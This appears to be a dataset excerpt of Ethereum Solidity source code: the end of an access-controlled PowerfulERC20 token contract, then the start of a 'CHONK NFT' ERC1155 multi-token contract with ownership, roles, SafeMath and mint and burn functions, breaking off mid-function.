Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/access/Roles.sol
pragma solidity ^0.8.0;
contract Roles is AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier onlyMinter() {
require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role");
_;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/PowerfulERC20.sol
pragma solidity ^0.8.0;
/**
* @title PowerfulERC20
* @dev Implementation of the PowerfulERC20
*/
contract PowerfulERC20 is
ERC20Decimals,
ERC20Capped,
ERC20Mintable,
ERC20Burnable,
ERC1363,
TokenRecover,
Roles,
ServicePayer
{
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 cap_,
uint256 initialBalance_,
address payable feeReceiver_
)
payable
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
ERC20Capped(cap_)
ServicePayer(feeReceiver_, "PowerfulERC20")
{
// Immutable variables cannot be read during contract creation time
// https://github.com/ethereum/solidity/issues/10463
require(initialBalance_ <= cap_, "ERC20Capped: cap exceeded");
ERC20._mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) {
return super.decimals();
}
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC1363) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to addresses with MINTER role. See {ERC20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyMinter {
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
} | True | [
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// CHONK NFT
// https://www.chonker.finance/
pragma solidity >=0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title WhitelistAdminRole
* @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts.
*/
contract WhitelistAdminRole is Context {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(_msgSender());
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role");
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(_msgSender());
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas
* @param _interfaceId The interface identifier, as specified in ERC-165
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more than 5,000 gas.
* @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported.
*/
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface IERC1155 {
// Events
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
* @dev MUST emit when the URI is updated for a token ID
* URIs are defined in RFC 3986
* The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema"
*/
event URI(string _amount, uint256 indexed _id);
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* Copyright 2018 ZeroEx Intl.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
/**
* @dev Implementation of Multi-Token Standard contract
*/
contract ERC1155 is IERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Objects balances
mapping (address => mapping(uint256 => uint256)) internal balances;
// Operator Functions
mapping (address => mapping(address => bool)) internal operators;
// Events
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
public
{
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT");
// require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
public
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR");
require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT");
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)
internal
{
// Update balances
balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount
balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data);
require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE");
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH");
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Executing all transfers
for (uint256 i = 0; i < nTransfer; i++) {
// Update storage balance of previous bin
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data);
require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE");
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
external
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public view returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public view returns (uint256)
{
return balances[_owner][_id];
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public view returns (uint256[] memory)
{
require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH");
// Variables
uint256[] memory batchBalances = new uint256[](_owners.length);
// Iterate over each owner and token ID
for (uint256 i = 0; i < _owners.length; i++) {
batchBalances[i] = balances[_owners[i]][_ids[i]];
}
return batchBalances;
}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
/**
* INTERFACE_SIGNATURE_ERC1155 =
* bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^
* bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^
* bytes4(keccak256("balanceOf(address,uint256)")) ^
* bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^
* bytes4(keccak256("setApprovalForAll(address,bool)")) ^
* bytes4(keccak256("isApprovedForAll(address,address)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == INTERFACE_SIGNATURE_ERC165 ||
_interfaceID == INTERFACE_SIGNATURE_ERC1155) {
return true;
}
return false;
}
}
/**
* @notice Contract that handles metadata related methods.
* @dev Methods assume a deterministic generation of URI based on token IDs.
* Methods also assume that URI uses hex representation of token IDs.
*/
contract ERC1155Metadata {
// URI's default URI prefix
string internal baseMetadataURI;
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Metadata Public Function s |
|__________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* Token IDs are assumed to be represented in their hex format in URIs
* @return URI string
*/
function uri(uint256 _id) public view returns (string memory) {
return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json"));
}
/***********************************|
| Metadata Internal Functions |
|__________________________________*/
/**
* @notice Will emit default URI log event for corresponding token _id
* @param _tokenIDs Array of IDs of tokens to log default URI
*/
function _logURIs(uint256[] memory _tokenIDs) internal {
string memory baseURL = baseMetadataURI;
string memory tokenURI;
for (uint256 i = 0; i < _tokenIDs.length; i++) {
tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json"));
emit URI(tokenURI, _tokenIDs[i]);
}
}
/**
* @notice Will emit a specific URI log event for corresponding token
* @param _tokenIDs IDs of the token corresponding to the _uris logged
* @param _URIs The URIs of the specified _tokenIDs
*/
function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal {
require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH");
for (uint256 i = 0; i < _tokenIDs.length; i++) {
emit URI(_URIs[i], _tokenIDs[i]);
}
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
baseMetadataURI = _newBaseMetadataURI;
}
/***********************************|
| Utility Internal Functions |
|__________________________________*/
/**
* @notice Convert uint256 to string
* @param _i Unsigned integer to convert to string
*/
function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 ii = _i;
uint256 len;
// Get number of bytes
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
// Get each individual ASCII
while (ii != 0) {
bstr[k--] = byte(uint8(48 + ii % 10));
ii /= 10;
}
// Convert to string
return string(bstr);
}
}
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions
*/
contract ERC1155MintBurn is ERC1155 {
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Add _amount
balances[_to][_id] = balances[_to][_id].add(_amount);
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, _data);
}
/**
* @notice Mint tokens for each ids in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nMint = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nMint; i++) {
// Update storage balance
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(address _from, uint256 _id, uint256 _amount)
internal
{
//Substract _amount
balances[_from][_id] = balances[_from][_id].sub(_amount);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nBurn = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
}
// Emit batch mint event
